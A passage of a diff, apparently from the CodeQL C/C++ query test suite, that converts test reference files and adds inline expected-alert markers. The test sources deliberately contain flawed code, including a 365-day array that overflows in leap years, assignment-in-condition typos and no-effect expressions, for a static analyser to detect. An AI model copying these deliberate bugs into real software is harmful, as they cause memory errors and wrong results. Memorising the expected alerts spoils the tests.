Alert[cpp/leap-year/unchecked-after-arithmetic-year-modification] - SystemTimeToFileTime(&st, &ft); + SystemTimeToFileTime(&st, &ft); // $ Alert[cpp/leap-year/unchecked-return-value-for-time-conversion-function] } /** @@ -968,7 +968,7 @@ void tp_intermediaryVar(struct timespec now, struct logtime ×tamp_remote) // BUG - UncheckedLeapYearAfterYearModification st.wYear++; // $ Alert[cpp/leap-year/unchecked-after-arithmetic-year-modification] - SystemTimeToFileTime(&st, &ft); + SystemTimeToFileTime(&st, &ft); // $ Alert[cpp/leap-year/unchecked-return-value-for-time-conversion-function] } /** @@ -1032,7 +1032,7 @@ void fp_daymonth_guard(){ st.wDay = st.wMonth == 2 && st.wDay == 29 ? 28 : st.wDay; - SystemTimeToFileTime(&st, &ft); + SystemTimeToFileTime(&st, &ft); // $ Alert[cpp/leap-year/unchecked-return-value-for-time-conversion-function] } void increment_arg(WORD &x){ diff --git a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear/UnsafeArrayForDaysOfYear.qlref b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear/UnsafeArrayForDaysOfYear.qlref index 4271a41e0faa..e0d1519153c6 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear/UnsafeArrayForDaysOfYear.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear/UnsafeArrayForDaysOfYear.qlref @@ -1 +1,2 @@ -Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear.ql +query: Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear/test.cpp index 7f6f2cfd3fe7..f76167c1893b 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UnsafeArrayForDaysOfYear/test.cpp @@ -14,7 +14,7 @@ class vector { void ArrayOfDays_Bug(int dayOfYear, int x) { // BUG - int items[365]; + int items[365]; // $ Alert items[dayOfYear - 1] = x; } @@ -22,7 +22,7 @@ void ArrayOfDays_Bug(int dayOfYear, int x) void ArrayOfDays_Bug2(int dayOfYear, int x) { // BUG - int *items = new int[365]; + int *items = new int[365]; // $ Alert items[dayOfYear - 1] = x; delete items; @@ -49,7 +49,7 @@ void ArrayOfDays_FalsePositive(int dayOfYear, int x) void VectorOfDays_Bug(int dayOfYear, int x) { // BUG - vector items(365); + vector items(365); // $ Alert items[dayOfYear - 1] = x; } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/AssignWhereCompareMeant/AssignWhereCompareMeant.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/AssignWhereCompareMeant/AssignWhereCompareMeant.qlref index ca70196fa6b9..e4598d920438 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/AssignWhereCompareMeant/AssignWhereCompareMeant.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/AssignWhereCompareMeant/AssignWhereCompareMeant.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/AssignWhereCompareMeant.ql +query: Likely Bugs/Likely Typos/AssignWhereCompareMeant.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/AssignWhereCompareMeant/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/AssignWhereCompareMeant/test.cpp index 3cd181254673..c4dd2ff45101 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/AssignWhereCompareMeant/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/AssignWhereCompareMeant/test.cpp @@ -24,25 +24,25 @@ class IntHolder { }; void f(int x) { - if (x = 3) { // BAD + if (x = 3) { // BAD // $ Alert } if ((x = 3)) { // GOOD: explicitly bracketed } - if (!(x = 3)) { // BAD + if (!(x = 3)) { // BAD // $ Alert } if (!((x = 3))) { // GOOD: explicitly bracketed } do { - } while (x = 0); // BAD + } while (x = 0); // BAD // $ Alert do { } while ((x = 0)); // GOOD: explicitly bracketed - if ((x = 3) && (x = 4)) { // BAD (x2) + if ((x = 3) && (x = 4)) { // BAD (x2) // $ Alert } if (((x = 3)) && ((x = 4))) { // GOOD: explicitly bracketed } - x = (x = 3) ? 2 : 1; // BAD + x = (x = 3) ? 2 : 1; // BAD // $ Alert x = ((x = 3)) ? 2 : 1; // GOOD: explicitly bracketed - assert(x = 2); // BAD + assert(x = 2); // BAD // $ Alert assert((x = 2)); // GOOD: explicitly bracketed int y; @@ -50,12 +50,12 @@ void f(int x) { if (y = 1) { // GOOD: y was not initialized so it is probably intentional. } y = 2; - if (y = 3) { // BAD: y has been initialized so it is probably a mistake. + if (y = 3) { // BAD: y has been initialized so it is probably a mistake. // $ Alert } int z = 1; - if (z = 2) { // BAD: z has been initialized so it is probably a mistake. + if (z = 2) { // BAD: z has been initialized so it is probably a mistake. // $ Alert } IntHolder holder1(x); IntHolder holder2(x); @@ -73,15 +73,15 @@ void g(int *i_p, int cond) { int i, j, k, x, y; static int s, t = 0; - if (global = 0) { // BAD: this is unlikely to be a deliberate initialization of global + if (global = 0) { // BAD: this is unlikely to be a deliberate initialization of global // $ Alert } - if (*i_p = 0) { // BAD + if (*i_p = 0) { // BAD // $ Alert } - if (s = 0) { // BAD + if (s = 0) { // BAD // $ Alert } - if (s = 0) { // BAD + if (s = 0) { // BAD // $ Alert } - if (t = 0) { // BAD + if (t = 0) { // BAD // $ Alert } for (i = 0, j = 0; i < 10; i++) { // GOOD @@ -89,7 +89,7 @@ void g(int *i_p, int cond) { } } - for (k = 0; !(k = 10); k++) { // BAD + for (k = 0; !(k = 10); k++) { // BAD // $ Alert } if (cond) { @@ -110,7 +110,7 @@ void h() { } int z = 0; - if(z = 1) { // BAD + if(z = 1) { // BAD // $ Alert } } @@ -131,26 +131,26 @@ void f3(int x, int y) { // as an assignment } - if((x == 1) && (y = 2)) { // BAD + if((x == 1) && (y = 2)) { // BAD // $ Alert } long z = x; - if(((z == 42) || (y = 2)) && (x == 1)) { // BAD + if(((z == 42) || (y = 2)) && (x == 1)) { // BAD // $ Alert } if((y = 2) && (x == z || x == 1)) { // GOOD } - if(((x == 42) || x == 1) && (y = 2)) { // BAD + if(((x == 42) || x == 1) && (y = 2)) { // BAD // $ Alert } if(x == 10 || (x == 42 && x == 1) && (y = 2)) { // GOOD } - if(x == 10 || ((x == 42) && (y = 2)) && (z == 1)) { // BAD + if(x == 10 || ((x == 42) && (y = 2)) && (z == 1)) { // BAD // $ Alert } - if((x == 10) || ((z == z) && (x == 1)) && (y = 2)) { // BAD + if((x == 10) || ((z == z) && (x == 1)) && (y = 2)) { // BAD // $ Alert } } @@ -163,11 +163,11 @@ void f4(int x, bool b) { if((x = 10) && use(x) && b) {} // GOOD: Same reason as above if((x = 10) && (use(x) && b)) {} // GOOD: Same reason as above - if(use(x) && b && (x = 10)) {} // BAD: The assignment is the last thing that happens in the comparison. + if(use(x) && b && (x = 10)) {} // BAD: The assignment is the last thing that happens in the comparison. // $ Alert // This doesn't match the usual pattern. - if((use(x) && b) && (x = 10)) {} // BAD: Same reason as above - if(use(x) && (b && (x = 10))) {} // BAD: Same reason as above + if((use(x) && b) && (x = 10)) {} // BAD: Same reason as above // $ Alert + if(use(x) && (b && (x = 10))) {} // BAD: Same reason as above // $ Alert - if((x = 10) || use(x)) {} // BAD: This doesn't follow the usual style of writing an assignment in + if((x = 10) || use(x)) {} // BAD: This doesn't follow the usual style of writing an assignment in // $ Alert // a boolean check. } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/CompareWhereAssignMeant.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/CompareWhereAssignMeant.qlref index 54f62d41b7bb..c197f0008961 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/CompareWhereAssignMeant.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/CompareWhereAssignMeant.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/CompareWhereAssignMeant.ql +query: Likely Bugs/Likely Typos/CompareWhereAssignMeant.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/ExprHasNoEffect.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/ExprHasNoEffect.qlref index 82a90f5413a9..662600c07dd1 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/ExprHasNoEffect.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/ExprHasNoEffect.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/ExprHasNoEffect.ql +query: Likely Bugs/Likely Typos/ExprHasNoEffect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/test.cpp index 2fa421059058..845acbb81927 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/CompareWhereAssignMeant/test.cpp @@ -25,30 +25,30 @@ void f(void) { i = 1; - i == 1; + i == 1; // $ Alert[cpp/compare-where-assign-meant] - i == 1, i == 2; + i == 1, i == 2; // $ Alert[cpp/compare-where-assign-meant] Alert[cpp/useless-expression] - i = i == 1, i == 2; + i = i == 1, i == 2; // $ Alert[cpp/compare-where-assign-meant] - i = (i == 1, i == 2); + i = (i == 1, i == 2); // $ Alert[cpp/compare-where-assign-meant] if (({ int x = 3; x == 3; })) { return; } - if (({ int x = 3; x == 3; x; })) { + if (({ int x = 3; x == 3; x; })) { // $ Alert[cpp/compare-where-assign-meant] return; } - if (({ int x = 3; x == 3; x = 4; })) { + if (({ int x = 3; x == 3; x = 4; })) { // $ Alert[cpp/compare-where-assign-meant] return; } - i != 1; + i != 1; // $ Alert[cpp/useless-expression] IntHolder holder1(i); IntHolder holder2(i); holder1 = holder2; - holder1 == holder2; + holder1 == holder2; // $ Alert[cpp/compare-where-assign-meant] if(holder1 = holder2) { } if(holder1 == holder1) { @@ -69,6 +69,6 @@ void report_error(const char*); void test_inside_macro_expansion(int x, int y) { DOES_NOT_THROW(x == y); // GOOD - x == y; // BAD - x == ID(y); // BAD + x == y; // BAD // $ Alert[cpp/compare-where-assign-meant] + x == ID(y); // BAD // $ Alert[cpp/compare-where-assign-meant] } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/DubiousNullCheck/DubiousNullCheck.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/DubiousNullCheck/DubiousNullCheck.cpp index 0c7f9edacd19..58a2680f3b94 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/DubiousNullCheck/DubiousNullCheck.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/DubiousNullCheck/DubiousNullCheck.cpp @@ -10,7 +10,7 @@ struct person { bool hasName(person* p) { return p != NULL // This check is sensible, && p->name != NULL // as is this one. - && &p->name != NULL; // But this check is dubious. (BAD) + && &p->name != NULL; // But this check is dubious. (BAD) // $ Alert } // another example @@ -26,11 +26,11 @@ class myClass assert(this->y != NULL); assert(&this->y != NULL); // BAD [NOT DETECTED] assert(ptr->y != NULL); - assert(&ptr->y != NULL); // BAD + assert(&ptr->y != NULL); // BAD // $ Alert assert((ptr->y) != NULL); - assert(&(ptr->y) != NULL); // BAD + assert(&(ptr->y) != NULL); // BAD // $ Alert assert(ref.y != NULL); - assert(&(ref.y) != NULL); // BAD + assert(&(ref.y) != NULL); // BAD // $ Alert }; private: diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/DubiousNullCheck/DubiousNullCheck.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/DubiousNullCheck/DubiousNullCheck.qlref index 4e0443db7906..da788f52f504 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/DubiousNullCheck/DubiousNullCheck.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/DubiousNullCheck/DubiousNullCheck.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/DubiousNullCheck.ql \ No newline at end of file +query: Likely Bugs/Likely Typos/DubiousNullCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/CMakeFiles/CMakeScratch/TryCompile-abcdef/ExprHasNoEffect.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/CMakeFiles/CMakeScratch/TryCompile-abcdef/ExprHasNoEffect.qlref index 82a90f5413a9..662600c07dd1 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/CMakeFiles/CMakeScratch/TryCompile-abcdef/ExprHasNoEffect.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/CMakeFiles/CMakeScratch/TryCompile-abcdef/ExprHasNoEffect.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/ExprHasNoEffect.ql +query: Likely Bugs/Likely Typos/ExprHasNoEffect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/ExprHasNoEffect.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/ExprHasNoEffect.qlref index 82a90f5413a9..662600c07dd1 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/ExprHasNoEffect.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/ExprHasNoEffect.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/ExprHasNoEffect.ql +query: Likely Bugs/Likely Typos/ExprHasNoEffect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/ExprHasNoEffect.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/ExprHasNoEffect.qlref index 82a90f5413a9..662600c07dd1 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/ExprHasNoEffect.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/ExprHasNoEffect.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/ExprHasNoEffect.ql +query: Likely Bugs/Likely Typos/ExprHasNoEffect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/conftest.c.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/conftest.c.c index 4ff7c2253358..8f949d876dae 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/conftest.c.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/conftest.c.c @@ -1,6 +1,6 @@ #include "conftest.h" int main3() { - strlen(""); // BAD: not a `conftest` file, as `conftest` is not directly followed by the extension or a sequence of numbers. + strlen(""); // BAD: not a `conftest` file, as `conftest` is not directly followed by the extension or a sequence of numbers. // $ Alert return 0; } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/conftest_abc.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/conftest_abc.c index 88215d7434cd..102cfa4a8c22 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/conftest_abc.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/autoconf/conftest_abc.c @@ -1,6 +1,6 @@ #include "conftest.h" int main1() { - strlen(""); // BAD: not a `conftest` file, as `conftest` is not directly followed by the extension or a sequence of numbers. + strlen(""); // BAD: not a `conftest` file, as `conftest` is not directly followed by the extension or a sequence of numbers. // $ Alert return 0; } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/calls.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/calls.cpp index 2acdfcf80f8f..2de0aec1e365 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/calls.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/calls.cpp @@ -5,11 +5,11 @@ int external(); class Base { public: virtual int thingy() { - 1; // BAD + 1; // BAD // $ Alert } int our_thingy() { - Base::thingy(); // BAD + Base::thingy(); // BAD // $ Alert return 2; } }; diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/expr.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/expr.cpp index 56809a4e05fa..76a1669c3213 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/expr.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/expr.cpp @@ -5,9 +5,9 @@ int i; void comma_expr_test() { i++, i++; // GOOD - 0, i++; // BAD (first part) - i++, 0; // BAD (second part) - 0, 0; // BAD (whole) + 0, i++; // BAD (first part) // $ Alert + i++, 0; // BAD (second part) // $ Alert + 0, 0; // BAD (whole) // $ Alert } } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/meson-private/tmp_abc/ExprHasNoEffect.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/meson-private/tmp_abc/ExprHasNoEffect.qlref index 82a90f5413a9..662600c07dd1 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/meson-private/tmp_abc/ExprHasNoEffect.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/meson-private/tmp_abc/ExprHasNoEffect.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/ExprHasNoEffect.ql +query: Likely Bugs/Likely Typos/ExprHasNoEffect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/preproc.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/preproc.c index 2761476c474e..063bdd743761 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/preproc.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/preproc.c @@ -86,10 +86,10 @@ void test() fn1(); fn2(); fn3(); - fn4(); // has no effect + fn4(); // has no effect // $ Alert fn5(); fn6(); fn7(); fn8(); - fn9(); // has no effect + fn9(); // has no effect // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/template.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/template.cpp index ecc3d6246034..e6d6e6362c19 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/template.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/template.cpp @@ -16,7 +16,7 @@ void myTemplateTest() { Nothing n; i++; // GOOD (always has an effect) - n++; // BAD (never has an effect) + n++; // BAD (never has an effect) // $ Alert Increment(i); Increment(n); } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/templatey.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/templatey.cpp index 7d2b6b19777e..12665301e6c6 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/templatey.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/templatey.cpp @@ -36,5 +36,5 @@ void call_add_numbers() int accum = 0; add_numbers(accum, 4); // GOOD add_numbers(accum, 10); // GOOD - pointless_add_numbers(accum, 20); // BAD + pointless_add_numbers(accum, 20); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/test.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/test.c index 1b2530fdff5b..d7b65299dad3 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/test.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/test.c @@ -4,27 +4,27 @@ extern int g(void); void f(int b) { int i; - 0; + 0; // $ Alert - ({ 1; 2; 3; }); - i = ({ 4; 5; 6; }); - i = ({ 7; 8; 9, 10; }); + ({ 1; 2; 3; }); // $ Alert + i = ({ 4; 5; 6; }); // $ Alert + i = ({ 7; 8; 9, 10; }); // $ Alert - i = 11, 12; - i = 13, 14, 15; - i = (16, 17); - i = (18, 19, 20); - 21, 22; - 23, 24, 25; + i = 11, 12; // $ Alert + i = 13, 14, 15; // $ Alert + i = (16, 17); // $ Alert + i = (18, 19, 20); // $ Alert + 21, 22; // $ Alert + 23, 24, 25; // $ Alert i = b ? 26 : 27; i = b ? g() : 28; i = b ? 29 : g(); i = b ? g() : g(); - b ? 30 : 31; - b ? g() : 32; - b ? 33 : g(); + b ? 30 : 31; // $ Alert + b ? g() : 32; // $ Alert + b ? 33 : g(); // $ Alert b ? g() : g(); } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/test.cpp index da4398f4105b..f46ed1d6722f 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/test.cpp @@ -59,10 +59,10 @@ class MyAssignable : public Assignable void testFunc2() { Assignable u1, u2; - u2 = u1; + u2 = u1; // $ Alert MyAssignable v1, v2; - v2 = v1; + v2 = v1; // $ Alert } namespace std { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/volatile.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/volatile.c index c34e0818f192..940d38a9511c 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/volatile.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/volatile.c @@ -6,18 +6,18 @@ char *pc; volatile char *pv; void f(void) { - c; // BAD + c; // BAD // $ Alert v; // (accesses to volatile variables are considered impure) - pc[5]; // BAD + pc[5]; // BAD // $ Alert pv[5]; ((volatile char *)pc)[5]; - *pc; // BAD + *pc; // BAD // $ Alert *pv; *((volatile char *)pc); - *(pc + 5); // BAD + *(pc + 5); // BAD // $ Alert *(pv + 5); *((volatile char *)(pc + 5)); *(((volatile char *)pc) + 5); diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/weak.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/weak.c index ef4bff229488..c76452eda93e 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/weak.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ExprHasNoEffect/weak.c @@ -15,6 +15,6 @@ int __attribute__((__weak__)) myWeakNothingFunction() } void testWeak() { - myNothingFunction(); // BAD + myNothingFunction(); // BAD // $ Alert myWeakNothingFunction(); // GOOD } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.c index d2a13e17c837..8a9ce7696965 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.c @@ -3,7 +3,7 @@ void C6317_positive(int i) { - if (i & !FLAGS) // BUG + if (i & !FLAGS) // BUG // $ Alert { } } @@ -28,9 +28,9 @@ void bitwiseAndUsage(unsigned int l, unsigned int r) unsigned int x; unsigned z = 0; - x = l & !r; //BUG - x = !FLAGS & r; //BUG - x = !FLAGS & !!r; //BUG + x = l & !r; //BUG // $ Alert + x = !FLAGS & r; //BUG // $ Alert + x = !FLAGS & !!r; //BUG // $ Alert x = !!l & r; // Not a bug - double negation x = !!!l & r; // Not a bug - double negation @@ -44,9 +44,9 @@ void bitwiseOrUsage(unsigned int l, unsigned int r) { unsigned int x; - x = l | !r; //BUG - x = !FLAGS | r; //BUG - x = !FLAGS | !!r; //BUG + x = l | !r; //BUG // $ Alert + x = !FLAGS | r; //BUG // $ Alert + x = !FLAGS | !!r; //BUG // $ Alert x = !!l | r; // Not a bug - double negation x = !!!l | r; // Not a bug - double negation @@ -67,7 +67,7 @@ void bitwiseOperatorsNotCovered(unsigned int l, unsigned int r) void macroUsage(unsigned int arg1, unsigned int arg2) { - if (((!cap_valid(arg1)) | arg2)) { // BUG + if (((!cap_valid(arg1)) | arg2)) { // BUG // $ Alert } } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.cpp index ac3f1ab3ed5c..68231c364ca7 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.cpp @@ -3,7 +3,7 @@ void C6317_positive(int i) { - if (i & !FLAGS) // BUG + if (i & !FLAGS) // BUG // $ Alert { } } @@ -28,9 +28,9 @@ void bitwiseAndUsage(unsigned int l, unsigned int r) unsigned int x; unsigned z = 0; - x = l & !r; //BUG - x = !FLAGS & r; //BUG - x = !FLAGS & !!r; //BUG + x = l & !r; //BUG // $ Alert + x = !FLAGS & r; //BUG // $ Alert + x = !FLAGS & !!r; //BUG // $ Alert x = !!l & r; // Not a bug - double negation x = !!!l & r; // Not a bug - double negation @@ -44,9 +44,9 @@ void bitwiseOrUsage(unsigned int l, unsigned int r) { unsigned int x; - x = l | !r; //BUG - x = !FLAGS | r; //BUG - x = !FLAGS | !!r; //BUG + x = l | !r; //BUG // $ Alert + x = !FLAGS | r; //BUG // $ Alert + x = !FLAGS | !!r; //BUG // $ Alert x = !!l | r; // Not a bug - double negation x = !!!l | r; // Not a bug - double negation @@ -67,14 +67,14 @@ void bitwiseOperatorsNotCovered(unsigned int l, unsigned int r) void macroUsage(unsigned int arg1, unsigned int arg2) { - if (((!cap_valid(arg1)) | arg2)) { // BUG + if (((!cap_valid(arg1)) | arg2)) { // BUG // $ Alert } } void bool_examples(bool a, bool b) { - if (a & !b) // dubious (confusing intent, but shouldn't produce a wrong result) + if (a & !b) // dubious (confusing intent, but shouldn't produce a wrong result) // $ Alert { } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.qlref index d50294defe2c..2defdf045755 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/IncorrectNotOperatorUsage/IncorrectNotOperatorUsage.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/IncorrectNotOperatorUsage.ql \ No newline at end of file +query: Likely Bugs/Likely Typos/IncorrectNotOperatorUsage.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ShortCircuitBitMask/ShortCircuitBitMask.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ShortCircuitBitMask/ShortCircuitBitMask.qlref index be55343c0a6c..8819dc134bf8 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ShortCircuitBitMask/ShortCircuitBitMask.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ShortCircuitBitMask/ShortCircuitBitMask.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/ShortCircuitBitMask.ql \ No newline at end 